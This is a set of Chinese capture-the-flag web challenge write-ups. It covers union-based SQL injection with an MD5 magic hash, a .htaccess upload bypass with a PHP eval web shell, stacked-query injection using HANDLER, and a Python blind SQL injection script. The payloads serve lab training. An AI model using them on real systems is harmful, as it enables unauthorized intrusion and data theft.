[GXYCTF2019]BabySQli
解题思路
拿到题发现是个登录框,第一反应是注入密码,用户名随便输入,密码输入万能密码1' or '1'='1
,提示wrong user
f12查看源码,发现注释里面的字符串:
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
观察字符串,发现有两个特征:
- 大量字母和少量数字
- 数字范围2-6
因此猜测是base32编码,进行解码得到第二个字符串:
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
末尾有等号,尝试base64编码,得到如下sql查询语句:
select * from user where username = '$name'
这个查询语句很有意思,一般而言输入用户名和密码与数据库中对比的查询语句应该是:
select * from user where username = '$name' and password = '$password'
结合题目提示(BUU复现的环境没有):
刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
查询语句应该是:
select * from user where username = '$name' and password = '".md5($password)."'
因此猜测,后端的对查询结果的处理应该是:
<?php
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
$row = mysqli_fetch_row($result);
if($row['username']==’admin’){
if($row['password']==md5($pass)){
echo $flag;
}else{
echo “wrong pass!”;
}
}
else{ echo “wrong user!”;}
?>
用户名经过爆破得到为:admin
,这里涉及到一个知识点:
- 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
因此思路就是使用联合查询在username字段插入数据,然后mysql_query会返回我们构造的数据,这样传入对应的password就能通过检测,那么现在需要弄清楚两个问题:
- 存在几个字段
- username、password对应的字段位置
- 尝试使用order by发现被过滤,大写绕过,得到字段数为3
- 依次将admin放在union查询的3个位置,发现只有在第二个位置返回wrong password
md5(s878926199a)=0e545993274517709034328855841020
- 将得到的md5值分别放在第一个和第三个位置,发现放在第三个位置获得flag
最终的payload为:
username
:’ union select 1,‘admin’, ‘0e545993274517709034328855841020’#
password
:s878926199a
总结
- 编码特征
- base32
大量字母和少量数字,数字范围2-6 - base64
3倍数,填充=
- 编码、解码、总结大全
- base32
- 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
- order被过滤
- union select 1,2手动增加列数
- 大写绕过
[GXYCTF2019]BabyUpload
解题思路
测试发现存在以下几个过滤:
- 文件后缀:php、php3、php4、php5、phtml均被过滤
- content-type:必须为image
- 文件内容不能包含
<?
于是采取上传.htaccess
来解析上传的jpg后缀的木马,且木马格式采用script
.htaccess
:
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
evil.jpg
:
<script language="php">
@eval($_POST["cmd"]);
</script>
访问evil.jpg,POST DATA:cmd=system("cat /flag");
发现没有回显,cmd=phpinfo();
,查看disable_functions,发现system、exec、shell_exec和passthru都被过滤,因此采取file_get_contents读取文件,scandir读取目录
cmd=var_dump(scandir(chr(47)));
cmd=var_dump(file_get_contents("/flag"));
得到flag:
总结
- 上传绕过姿势
- content-type
- .htaccess
- sccript绕过
<?
检测
- bypass disable_functions
- file_get_contents读取文件,scandir读取目录
- var_dump或者print_r输出
[GYCTF2020]Blacklist
解题思路
和 [强网杯 2019]随便注思路一致
0';show databases;#
0';use sqli;show tables;#
0';show columns from FlagHere;#
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
总结
- 绕过select过滤
- handler
- prepare stmt
- 替换表内容,利用已知回显输出
- 常规注入不行的情况下尝试堆叠注入,尤其是输出格式符合var_dump的
[CISCN2019 华北赛区 Day2 Web1]Hack World
解题思路
输入id=0
输入id=1
输入id=2
而题目已经提示flag在表flag的列flag中,而id=1和id=2输出不同,可以利用这一点来进行bool盲注读取字段值
import requests
import time
url = 'http://e3981a17-e81e-47f5-9e63-bf52cf4e8b54.node4.buuoj.cn:81'
result = ''
for x in range(1, 50):
high = 127
low = 0
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
data = {
"id": payload
}
time.sleep(0.005)
response = requests.post(url, data=data)
if 'glzjin' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
得到flag:
总结
- 过滤空格
- 括号绕过
- bool盲注
- 不同值输入提示不同的固定输出
- substr一位一位地爆破